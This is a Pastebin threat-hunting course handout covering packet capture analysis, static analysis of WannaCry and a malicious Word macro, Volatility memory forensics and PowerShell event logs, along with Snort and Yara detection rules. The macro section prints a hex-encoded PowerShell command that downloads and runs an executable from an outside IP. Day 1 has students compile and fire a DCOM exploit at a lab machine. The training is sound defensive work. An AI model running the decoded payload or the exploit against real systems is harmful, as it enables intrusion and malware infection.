joemccray

Threat Hunting

Oct 19th, 2018
1,613
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 43.19 KB | None | 0 0
  1. #####################################
  2. ----------- ############### # Day 1: Threat Hunting on the wire ################ -----------
  3. #####################################
  4.  
  5.  
  6. ###################################
  7. # Setting up your virtual machine #
  8. # Note: run as root user #
  9. ###################################
  10.  
  11.  
  12. Here is where we will setup all of the required dependencies for the tools we plan to install
  13. ---------------------------Type this as root--------------------------
  14. apt update
  15. apt-get install -y libpcre3-dbg libpcre3-dev autoconf automake libtool libpcap-dev libnet1-dev libyaml-dev libjansson4 libcap-ng-dev libmagic-dev libjansson-dev zlib1g-dev libnetfilter-queue-dev libnetfilter-queue1 libnfnetlink-dev cmake make gcc g++ flex bison libpcap-dev libssl-dev unzip python-dev swig zlib1g-dev sendmail sendmail-bin prads tcpflow python-scapy python-yara tshark whois jq
  16. -----------------------------------------------------------------------
  17.  
  18.  
  19.  
  20.  
  21. Now we install Suricata
  22. ---------------------------Type this as root-------------------------------
  23. wget https://www.openinfosecfoundation.org/download/suricata-4.0.5.tar.gz
  24.  
  25. tar -zxvf suricata-4.0.5.tar.gz
  26.  
  27. cd suricata-4.0.5
  28.  
  29. ./configure --enable-nfqueue --prefix=/usr --sysconfdir=/etc --localstatedir=/var
  30.  
  31. make
  32.  
  33. make install
  34.  
  35. make install-conf
  36.  
  37. cd rules
  38.  
  39. cp *.rules /etc/suricata/rules/
  40.  
  41. cd /etc/suricata/
  42.  
  43. wget https://rules.emergingthreats.net/open/suricata-4.0/emerging.rules.tar.gz
  44.  
  45. tar -zxvf emerging.rules.tar.gz
  46. -----------------------------------------------------------------------
  47.  
  48.  
  49.  
  50.  
  51.  
  52. ##################################################################
  53. # Analyzing a PCAP Prads #
  54. # Note: run as regular user #
  55. ##################################################################
  56.  
  57. ---------------------------Type this as a regular user----------------------------------
  58. cd ~
  59.  
  60. mkdir pcap_analysis/
  61.  
  62. cd ~/pcap_analysis/
  63.  
  64. mkdir prads
  65.  
  66. cd ~/pcap_analysis/prads
  67.  
  68. wget http://45.63.104.73/suspicious-time.pcap
  69.  
  70. prads -r suspicious-time.pcap -l prads-asset.log
  71.  
  72. cat prads-asset.log | less
  73.  
  74. cat prads-asset.log | grep SYN | grep -iE 'windows|linux'
  75.  
  76. cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'
  77.  
  78. cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
  79. -----------------------------------------------------------------------
  80.  
  81.  
  82.  
  83.  
  84. ##################################
  85. # PCAP Analysis with ChaosReader #
  86. # Note: run as regular user #
  87. ##################################
  88. ---------------------------Type this as a regular user----------------------------------
  89. cd ~
  90.  
  91. mkdir -p pcap_analysis/chaos_reader/
  92.  
  93. cd ~/pcap_analysis/chaos_reader/
  94.  
  95. wget http://45.63.104.73/suspicious-time.pcap
  96.  
  97. wget http://45.63.104.73/chaosreader.pl
  98.  
  99. perl chaosreader.pl suspicious-time.pcap
  100.  
  101. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
  102.  
  103. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
  104.  
  105.  
  106. for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u
  107.  
  108. python -m SimpleHTTPServer
  109. ****** Open a web browser and browse the the IP address of your Linux machine port 8000 for the web page *****
  110.  
  111. ------------------------------------------------------------------------
  112.  
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  
  119.  
  120. #############################
  121. # PCAP Analysis with tshark #
  122. # Note: run as regular user #
  123. #############################
  124. ---------------------------Type this as a regular user---------------------------------
  125. cd ~/pcap_analysis/
  126.  
  127. mkdir tshark
  128.  
  129. cd ~/pcap_analysis/tshark
  130.  
  131. wget http://45.63.104.73/suspicious-time.pcap
  132.  
  133. tshark -i ens3 -r suspicious-time.pcap -qz io,phs
  134.  
  135. tshark -r suspicious-time.pcap -qz ip_hosts,tree
  136.  
  137. tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
  138.  
  139. tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
  140.  
  141.  
  142. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
  143.  
  144. whois rapidshare.com.eyu32.ru
  145.  
  146. whois sploitme.com.cn
  147.  
  148. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
  149.  
  150. tshark -r suspicious-time.pcap -qz http_req,tree
  151.  
  152. tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
  153.  
  154. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
  155. ------------------------------------------------------------------------
  156.  
  157.  
  158.  
  159. #############################
  160. # Understanding Snort rules #
  161. #############################
  162. Field 1: Action - Snort can process events in 1 of 3 ways (alert, log, drop)
  163.  
  164. Field 2: Protocol - Snort understands a few types of traffic (tcp, udp, icmp)
  165.  
  166. Field 3: Source IP (can be a variable like $External_Net, or an IP, or a range)
  167.  
  168. Field 4: Source Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)
  169.  
  170. Field 5: Traffic Direction (->)
  171.  
  172. Field 6: Destination IP (can be a variable like $External_Net, or an IP, or a range)
  173.  
  174. Field 7: Destination Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)
  175.  
  176. Field 8: MSG - what is actually displayed on the analysts machine
  177.  
  178.  
  179. Let's look at 2 simple rules
  180. ----------------------------------------------------------------------------------
  181. alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:”NETBIOS DCERPC ISystemActivator \
  182. bind attempt”; flow:to_server,established; content:”|05|”; distance:0; within:1; \
  183. content:”|0b|”; distance:1; within:1; byte_test:1,&,1,0,relative; content:”|A0 01 00 \
  184. 00 00 00 00 00 C0 00 00 00 00 00 00 46|”; distance:29; within:16; \
  185. reference:cve,CAN-2003-0352; classtype:attempted-admin; sid:2192; rev:1;)
  186.  
  187. alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:”NETBIOS SMB DCERPC ISystemActivator bind \
  188. attempt”; flow:to_server,established; content:”|FF|SMB|25|”; nocase; offset:4; \
  189. depth:5; content:”|26 00|”; distance:56; within:2; content:”|5c \
  190. 00|P|00|I|00|P|00|E|00 5c 00|”; nocase; distance:5; within:12; content:”|05|”; \
  191. distance:0; within:1; content:”|0b|”; distance:1; within:1; \
  192. byte_test:1,&,1,0,relative; content:”|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 \
  193. 46|”; distance:29; within:16; reference:cve,CAN-2003-0352; classtype:attempted-admin; \
  194. sid:2193; rev:1;)
  195. ----------------------------------------------------------------------------------
  196.  
  197.  
  198.  
  199. From your Linux machine ping your Windows machine
  200. ---------------------------Type This-----------------------------------
  201. ping 192.168.150.1
  202. -----------------------------------------------------------------------
  203.  
  204.  
  205. Start wireshark and let's create some simple filters:
  206.  
  207. Filter 1:
  208. ip.addr==192.168.150.1
  209. -----------------------------------------------------------------------
  210.  
  211. Filter 2:
  212. ip.addr==192.168.150.1 && icmp
  213. -----------------------------------------------------------------------
  214.  
  215.  
  216. Filter 3:
  217. ip.addr==192.168.150.1 && !(tcp.port==22)
  218. -----------------------------------------------------------------------
  219. Now stop your capture and restart it (make sure you keep the filter)
  220.  
  221.  
  222.  
  223.  
  224. Back to your Linux machine:
  225. [ CTRL-C ] - to stop your ping
  226.  
  227. wget http://downloads.securityfocus.com/vulnerabilities/exploits/oc192-dcom.c
  228.  
  229.  
  230. gcc -o exploit oc192-dcom.c
  231.  
  232. ./exploit
  233.  
  234.  
  235. ./exploit -d 192.168.150.1 -t 0
  236. -----------------------------------------------------------------------
  237.  
  238.  
  239.  
  240. Now go back to WireShark and stop the capture.
  241.  
  242.  
  243.  
  244.  
  245.  
  246. ###############################
  247. # PCAP Analysis with Suricata #
  248. # Note: run as root #
  249. ###############################
  250. --------------------------Type this as root--------------------------------
  251. cd /home/joe/pcap_analysis/
  252.  
  253. mkdir suricata
  254.  
  255. cd suricata/
  256.  
  257. wget http://45.63.104.73/suspicious-time.pcap
  258.  
  259. mkdir suri
  260.  
  261. suricata -c /etc/suricata/suricata.yaml -r suspicious-time.pcap -l suri/
  262.  
  263. cd suri/
  264.  
  265. cat stats.log | less
  266.  
  267. cat eve.json |grep -E "e\":\"http"|jq ".timestamp,.http"|csplit - /..T..:/ {*}
  268.  
  269. cat xx01
  270.  
  271. cat xx02
  272.  
  273. cat xx03
  274.  
  275. cat xx04
  276.  
  277. cat xx05
  278.  
  279. cat xx06
  280. ------------------------------------------------------------------------
  281.  
  282.  
  283. #############################
  284. # PCAP Analysis with Yara #
  285. # Note: run as regular user #
  286. #############################
  287. -------------------------Type this as a regular user----------------------------------
  288. cd ~/pcap_analysis/
  289.  
  290. git clone https://github.com/kevthehermit/YaraPcap.git
  291. cd YaraPcap/
  292. wget http://45.63.104.73/suspicious-time.pcap
  293. wget https://github.com/Yara-Rules/rules/archive/master.zip
  294. unzip master.zip
  295. cd rules-master/
  296. ls
  297. cat index.yar
  298. clear
  299. ./index_gen.sh
  300. cd ..
  301. mkdir matching_files/
  302. python yaraPcap.py rules-master/index.yar suspicious-time.pcap -s matching_files/
  303. whereis tcpflow
  304. vi yaraPcap.py **** fix line 35 with correct path to tcpflow ****:q!
  305. python yaraPcap.py rules-master/index.yar suspicious-time.pcap -s matching_files/
  306. cd matching_files/
  307. ls
  308. cat report.txt
  309. ------------------------------------------------------------------------
  310.  
  311.  
  312.  
  313. ###############################################
  314. ----------- ############### # Day 2: Threat Hunting with Static Analysis ################ -----------
  315. ###############################################
  316.  
  317.  
  318.  
  319.  
  320. ###################################
  321. # Setting up your virtual machine #
  322. ###################################
  323.  
  324. Here is where we will setup all of the required dependencies for the tools we plan to install
  325. ---------------------------Type This-----------------------------------
  326. sudo apt update
  327. sudo apt-get install -y python3-pip python3-dev unzip python3-setuptools ipython3 build-essential python-pefile python2.7 python-pip python-setuptools mysql-server build-dep python-mysqldb python-mysqldb
  328.  
  329.  
  330. sudo pip install -U olefile
  331.  
  332.  
  333. git clone https://github.com/Te-k/pe.git
  334. cd pe
  335. sudo python3 setup.py install
  336. pip3 install .
  337. cd ..
  338. wget http://45.63.104.73/wannacry.zip
  339. infected
  340. -----------------------------------------------------------------------
  341.  
  342.  
  343.  
  344.  
  345. ################
  346. # The Scenario #
  347. ################
  348. You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
  349.  
  350.  
  351. The fastest thing you can do is perform static analysis.
  352.  
  353.  
  354.  
  355. ###################
  356. # Static Analysis #
  357. ###################
  358.  
  359. - After logging please open a terminal window and type the following commands:
  360.  
  361.  
  362. ---------------------------Type This-----------------------------------
  363. cd ~
  364.  
  365. mkdir static_analysis
  366.  
  367. cd static_analysis
  368.  
  369. wget http://45.63.104.73/wannacry.zip
  370.  
  371. unzip wannacry.zip
  372. infected
  373.  
  374. file wannacry.exe
  375.  
  376. mv wannacry.exe malware.pdf
  377.  
  378. file malware.pdf
  379.  
  380. mv malware.pdf wannacry.exe
  381.  
  382. hexdump -n 2 -C wannacry.exe
  383.  
  384. ----------------------------------------------------------------------
  385.  
  386.  
  387. ***What is '4d 5a' or 'MZ'***
  388. Reference:
  389. http://www.garykessler.net/library/file_sigs.html
  390.  
  391.  
  392.  
  393.  
  394. ---------------------------Type This-----------------------------------
  395. objdump -x wannacry.exe
  396.  
  397. strings wannacry.exe
  398.  
  399. strings wannacry.exe | grep -i dll
  400.  
  401. strings wannacry.exe | grep -i library
  402.  
  403. strings wannacry.exe | grep -i reg
  404.  
  405. strings wannacry.exe | grep -i key
  406.  
  407. strings wannacry.exe | grep -i rsa
  408.  
  409. strings wannacry.exe | grep -i open
  410.  
  411. strings wannacry.exe | grep -i get
  412.  
  413. strings wannacry.exe | grep -i mutex
  414.  
  415. strings wannacry.exe | grep -i irc
  416.  
  417. strings wannacry.exe | grep -i join
  418.  
  419. strings wannacry.exe | grep -i admin
  420.  
  421. strings wannacry.exe | grep -i list
  422. ----------------------------------------------------------------------
  423.  
  424.  
  425.  
  426.  
  427.  
  428. ---------------------------Type This-----------------------------------
  429. pe info wannacry.exe
  430. pe check wannacry.exe
  431. pe dump --section text wannacry.exe
  432. pe dump --section data wannacry.exe
  433. pe dump --section rsrc wannacry.exe
  434. pe dump --section reloc wannacry.exe
  435. strings rdata | less
  436. strings rsrc | less
  437. strings text | less
  438. ----------------------------------------------------------------------
  439.  
  440.  
  441.  
  442.  
  443.  
  444.  
  445.  
  446.  
  447. Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
  448.  
  449. Quick Google search for "wannacry ransomeware analysis"
  450.  
  451.  
  452. Reference
  453. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  454.  
  455. - Yara Rule -
  456.  
  457.  
  458. Strings:
  459. $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
  460. $s2 = “Wanna Decryptor” wide ascii nocase
  461. $s3 = “.wcry” wide ascii nocase
  462. $s4 = “WANNACRY” wide ascii nocase
  463. $s5 = “WANACRY!” wide ascii nocase
  464. $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
  465.  
  466.  
  467.  
  468.  
  469.  
  470.  
  471.  
  472.  
  473. Ok, let's look for the individual strings
  474.  
  475.  
  476. ---------------------------Type This-----------------------------------
  477. strings wannacry.exe | grep -i ooops
  478.  
  479. strings wannacry.exe | grep -i wanna
  480.  
  481. strings wannacry.exe | grep -i wcry
  482.  
  483. strings wannacry.exe | grep -i wannacry
  484.  
  485. strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
  486. ----------------------------------------------------------------------
  487.  
  488.  
  489.  
  490.  
  491.  
  492.  
  493.  
  494.  
  495.  
  496.  
  497.  
  498.  
  499.  
  500.  
  501.  
  502.  
  503. ####################################
  504. # Tired of GREP - let's try Python #
  505. ####################################
  506. Decided to make my own script for this kind of stuff in the future. I
  507.  
  508. Reference1:
  509. https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py
  510.  
  511. This is a really good script for the basics of static analysis
  512.  
  513. Reference:
  514. https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
  515.  
  516.  
  517. This is really good for showing some good signatures to add to the Python script
  518.  
  519.  
  520. Here is my own script using the signatures (started this yesterday, but still needs work):
  521. https://pastebin.com/guxzCBmP
  522.  
  523.  
  524.  
  525. ---------------------------Type This-----------------------------------
  526. wget https://pastebin.com/raw/guxzCBmP
  527.  
  528.  
  529. mv guxzCBmP am.py
  530.  
  531.  
  532. vi am.py
  533.  
  534. python2.7 am.py wannacry.exe
  535. ----------------------------------------------------------------------
  536.  
  537.  
  538.  
  539. ##############
  540. # Yara Ninja #
  541. ##############
  542.  
  543. Reference:
  544. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  545.  
  546. ----------------------------------------------------------------------------
  547. rule wannacry_1 : ransom
  548. {
  549. meta:
  550. author = "Joshua Cannell"
  551. description = "WannaCry Ransomware strings"
  552. weight = 100
  553. date = "2017-05-12"
  554.  
  555. strings:
  556. $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
  557. $s2 = "Wanna Decryptor" wide ascii nocase
  558. $s3 = ".wcry" wide ascii nocase
  559. $s4 = "WANNACRY" wide ascii nocase
  560. $s5 = "WANACRY!" wide ascii nocase
  561. $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
  562.  
  563. condition:
  564. any of them
  565. }
  566.  
  567. ----------------------------------------------------------------------------
  568. rule wannacry_2{
  569. meta:
  570. author = "Harold Ogden"
  571. description = "WannaCry Ransomware Strings"
  572. date = "2017-05-12"
  573. weight = 100
  574.  
  575. strings:
  576. $string1 = "msg/m_bulgarian.wnry"
  577. $string2 = "msg/m_chinese (simplified).wnry"
  578. $string3 = "msg/m_chinese (traditional).wnry"
  579. $string4 = "msg/m_croatian.wnry"
  580. $string5 = "msg/m_czech.wnry"
  581. $string6 = "msg/m_danish.wnry"
  582. $string7 = "msg/m_dutch.wnry"
  583. $string8 = "msg/m_english.wnry"
  584. $string9 = "msg/m_filipino.wnry"
  585. $string10 = "msg/m_finnish.wnry"
  586. $string11 = "msg/m_french.wnry"
  587. $string12 = "msg/m_german.wnry"
  588. $string13 = "msg/m_greek.wnry"
  589. $string14 = "msg/m_indonesian.wnry"
  590. $string15 = "msg/m_italian.wnry"
  591. $string16 = "msg/m_japanese.wnry"
  592. $string17 = "msg/m_korean.wnry"
  593. $string18 = "msg/m_latvian.wnry"
  594. $string19 = "msg/m_norwegian.wnry"
  595. $string20 = "msg/m_polish.wnry"
  596. $string21 = "msg/m_portuguese.wnry"
  597. $string22 = "msg/m_romanian.wnry"
  598. $string23 = "msg/m_russian.wnry"
  599. $string24 = "msg/m_slovak.wnry"
  600. $string25 = "msg/m_spanish.wnry"
  601. $string26 = "msg/m_swedish.wnry"
  602. $string27 = "msg/m_turkish.wnry"
  603. $string28 = "msg/m_vietnamese.wnry"
  604.  
  605.  
  606. condition:
  607. any of ($string*)
  608. }
  609. ----------------------------------------------------------------------------
  610.  
  611.  
  612.  
  613.  
  614.  
  615.  
  616.  
  617. #####################################################
  618. # Analyzing Macro Embedded Malware #
  619. #####################################################
  620. ---------------------------Type This-----------------------------------
  621. mkdir ~/oledump
  622.  
  623. cd ~/oledump
  624.  
  625. wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
  626.  
  627. unzip oledump_V0_0_22.zip
  628.  
  629. wget http://45.63.104.73/064016.zip
  630.  
  631. unzip 064016.zip
  632. infected
  633.  
  634. python oledump.py 064016.doc
  635.  
  636. python oledump.py 064016.doc -s A4 -v
  637. -----------------------------------------------------------------------
  638.  
  639.  
  640.  
  641. - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
  642. - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
  643.  
  644. ---------------------------Type This-----------------------------------
  645. python oledump.py 064016.doc -s A5 -v
  646. -----------------------------------------------------------------------
  647.  
  648. - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
  649.  
  650. ---------------------------Type This-----------------------------------
  651. python oledump.py 064016.doc -s A3 -v
  652.  
  653. - Look for "GVhkjbjv" and you should see:
  654.  
  655. 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
  656.  
  657. - Take that long blob that starts with 636D and finishes with 653B and paste it in:
  658. http://www.rapidtables.com/convert/number/hex-to-ascii.htm
  659. -----------------------------------------------------------------------
  660.  
  661.  
  662.  
  663. ###############################
  664. # Creating a Malware Database #
  665. ###############################
  666. Creating a malware database (mysql)
  667. -----------------------------------
  668. - Step 1: Logging in
  669. Run the following command in the terminal:
  670. ---------------------------Type This-----------------------------------
  671. mysql -u root -p (set a password of 'malware')
  672.  
  673. - Then create one database by running following command:
  674.  
  675. create database malware;
  676.  
  677. exit;
  678.  
  679. wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
  680.  
  681. vi mal_to_db.py (fill in database connection information)
  682.  
  683. python mal_to_db.py -i
  684.  
  685. ------- check it to see if the files table was created ------
  686.  
  687. mysql -u root -p
  688. malware
  689.  
  690. show databases;
  691.  
  692. use malware;
  693.  
  694. show tables;
  695.  
  696. describe files;
  697.  
  698. exit;
  699.  
  700. ---------------------------------
  701.  
  702.  
  703. - Now add the malicious file to the DB
  704. ---------------------------Type This-----------------------------------
  705. python mal_to_db.py -f wannacry.exe -u
  706.  
  707.  
  708.  
  709. - Now check to see if it is in the DB
  710. ---------------------------Type This-----------------------------------
  711. mysql -u root -p
  712. malware
  713.  
  714. mysql> use malware;
  715.  
  716. select id,md5,sha1,sha256,time FROM files;
  717.  
  718. mysql> quit;
  719. -----------------------------------------------------------------------
  720.  
  721.  
  722.  
  723.  
  724. ###############################################
  725. ----------- ############### # Day 3: Threat hunting with memory analysis ################ -----------
  726. ###############################################
  727.  
  728.  
  729.  
  730.  
  731.  
  732. ###################################
  733. # Setting up your virtual machine #
  734. ###################################
  735.  
  736. Here is where we will setup all of the required dependencies for the tools we plan to install
  737. ---------------------------Type This-----------------------------------
  738. apt update
  739. apt-get install -y foremost tcpxtract python-openpyxl python-ujson python-ujson-dbg python-pycryptopp python-pycryptopp-dbg libdistorm3-3 libdistorm3-dev python-distorm3 volatility volatility-tools
  740. -----------------------------------------------------------------------
  741.  
  742.  
  743.  
  744.  
  745. ################
  746. # The Scenario #
  747. ################
  748.  
  749.  
  750. ###################
  751. # Memory Analysis #
  752. ###################
  753. ---------------------------Type This-----------------------------------
  754. cd ~/
  755.  
  756. mkdir mem_analysis
  757.  
  758. cd mem_analysis
  759.  
  760. wget http://45.63.104.73/hn_forensics.vmem
  761.  
  762. volatility pslist -f hn_forensics.vmem
  763. volatility pslist -f hn_forensics.vmem | awk '{print $2,$3,$4}'
  764. volatility pslist -f hn_forensics.vmem | awk '{print $2,"\t\t"$3"\t\t","\t\t"$4}'
  765. volatility connscan -f hn_forensics.vmem
  766. volatility connscan -f hn_forensics.vmem | grep -E '888|1752'
  767.  
  768. mkdir malfind/
  769. mkdir dump/
  770. mkdir -p output/pdf/
  771.  
  772. volatility privs -f hn_forensics.vmem
  773. volatility svcscan -f hn_forensics.vmem
  774. volatility malfind -f hn_forensics.vmem --dump-dir malfind/
  775.  
  776.  
  777. volatility -f hn_forensics.vmem memdump -p 888 --dump-dir dump/
  778. volatility -f hn_forensics.vmem memdump -p 1752 --dump-dir dump/
  779.  
  780. ***Takes a few min***
  781.  
  782. cd dump/
  783. strings 1752.dmp | grep "^http://" | sort | uniq
  784. strings 1752.dmp | grep "Ahttps://" | uniq -u
  785.  
  786. foremost -i 1752.dmp -t pdf -o ../output/pdf/
  787. cd ../output/pdf/
  788. cat audit.txt
  789. cd pdf
  790. ls
  791. grep -i javascript *.pdf
  792.  
  793.  
  794. wget http://didierstevens.com/files/software/pdf-parser_V0_6_4.zip
  795. unzip pdf-parser_V0_6_4.zip
  796. python pdf-parser.py -s javascript --raw 00601560.pdf
  797. python pdf-parser.py --object 11 00601560.pdf
  798. python pdf-parser.py --object 1054 --raw --filter 00601560.pdf > malicious.js
  799.  
  800. cat malicious.js
  801. -----------------------------------------------------------------------
  802.  
  803.  
  804.  
  805. ############################################
  806. ----------- ############### # Day 4: Threat Hunting with log analysis ################ -----------
  807. ############################################
  808.  
  809. #####################
  810. # Powershell Basics #
  811. #####################
  812.  
  813. PowerShell is Microsoft's new scripting language that has been built in since the release Vista.
  814.  
  815. PowerShell file extension end in .ps1 .
  816.  
  817. An important note is that you cannot double click on a PowerShell script to execute it.
  818.  
  819. To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
  820.  
  821. ------------------------Type This------------------------------
  822. cd c:\
  823. dir
  824. cd
  825. ls
  826. ---------------------------------------------------------------
  827.  
  828.  
  829. To obtain a list of cmdlets, use the Get-Command cmdlet
  830. ------------------------Type This------------------------------
  831. Get-Command
  832. ---------------------------------------------------------------
  833.  
  834.  
  835. You can use the Get-Alias cmdlet to see a full list of aliased commands.
  836. ------------------------Type This------------------------------
  837. Get-Alias
  838. ---------------------------------------------------------------
  839.  
  840.  
  841. Don't worry you won't blow up your machine with Powershell
  842. ------------------------Type This------------------------------
  843. Get-Process | stop-process Don't press [ ENTER ] What will this command do?
  844. Get-Process | stop-process -whatif
  845. ---------------------------------------------------------------
  846.  
  847. To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.
  848. ------------------------Type This------------------------------
  849. Get-Help Get-Command
  850.  
  851. Get-Help Get-Service –online
  852.  
  853. Get-Service -Name TermService, Spooler
  854.  
  855. Get-Service –N BITS
  856. ---------------------------------------------------------------
  857.  
  858.  
  859.  
  860.  
  861.  
  862. - Run cmdlet through a pie and refer to its properties as $_
  863. ------------------------Type This------------------------------
  864. Get-Service | where-object { $_.Status -eq "Running"}
  865. ---------------------------------------------------------------
  866.  
  867.  
  868.  
  869. - PowerShell variables begin with the $ symbol. First lets create a variable
  870. ------------------------Type This------------------------------
  871. $serv = Get-Service –N Spooler
  872. ---------------------------------------------------------------
  873.  
  874. To see the value of a variable you can just call it in the terminal.
  875. ------------------------Type This------------------------------
  876. $serv
  877.  
  878. $serv.gettype().fullname
  879. ---------------------------------------------------------------
  880.  
  881.  
  882. Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in
  883. ------------------------Type This------------------------------
  884. $serv | Get-Member
  885.  
  886. Get-Member -InputObject $serv
  887. ---------------------------------------------------------------
  888.  
  889.  
  890.  
  891.  
  892. Let's use a method and a property with our object.
  893. ------------------------Type This------------------------------
  894. $serv.Status
  895. $serv.Stop()
  896. $serv.Refresh()
  897. $serv.Status
  898. $serv.Start()
  899. $serv.Refresh()
  900. $serv.Status
  901. ---------------------------------------------------------------
  902.  
  903.  
  904. If you want some good command-line shortcuts you can check out the following link:
  905. https://technet.microsoft.com/en-us/library/ff678293.aspx
  906.  
  907. #############################
  908. # Simple Event Log Analysis #
  909. #############################
  910.  
  911. Step 1: Dump the event logs
  912. ---------------------------
  913. The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
  914.  
  915. To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs.
  916. If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.
  917. ------------------------Type This------------------------------
  918. Get-EventLog -LogName application | Export-Clixml Applog.xml
  919.  
  920. type .\Applog.xml
  921.  
  922. $logs = "system","application","security"
  923. ---------------------------------------------------------------
  924.  
  925.  
  926. The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console
  927. ------------------------Type This------------------------------
  928. $logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }
  929. ---------------------------------------------------------------
  930.  
  931.  
  932.  
  933.  
  934. Step 2: Import the event log of interest
  935. ----------------------------------------
  936. To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.
  937. Store the results in a variable.
  938. Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object.
  939.  
  940. The following two commands first read the exported security log contents into a variable named $seclog, and then the five oldest entries are obtained.
  941. ------------------------Type This------------------------------
  942. $seclog = Import-Clixml security.xml
  943.  
  944. $seclog | select -Last 5
  945. ---------------------------------------------------------------
  946.  
  947. Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:
  948. ------------------------Type This------------------------------
  949. Get-EventLog Application -After (Get-Date).AddDays(-1)
  950. ---------------------------------------------------------------
  951. You can use '-after' and '-before' to filter date ranges
  952.  
  953. One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NFTS and share permissions that are assigned to the location where you store everything.
  954. By default, an ordinary user does not have permission to read the security log.
  955.  
  956.  
  957.  
  958.  
  959. Step 3: Drill into a specific entry
  960. -----------------------------------
  961. To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties.
  962.  
  963. ------------------------Type This------------------------------
  964. $seclog | select -first 1 | fl *
  965. ---------------------------------------------------------------
  966.  
  967. The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.
  968.  
  969. ------------------------Type This------------------------------
  970. ($seclog | select -first 1).message
  971.  
  972. (($seclog | select -first 1).message).gettype()
  973. ---------------------------------------------------------------
  974.  
  975.  
  976. In the *nix world you often want a count of something (wc -l).
  977. How often is the SeSecurityPrivilege privilege mentioned in the message property?
  978. To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:
  979. ------------------------Type This------------------------------
  980. $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure
  981. ---------------------------------------------------------------
  982. If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property.
  983.  
  984. ------------------------Type This------------------------------
  985. $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid
  986. ---------------------------------------------------------------
  987.  
  988. Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.
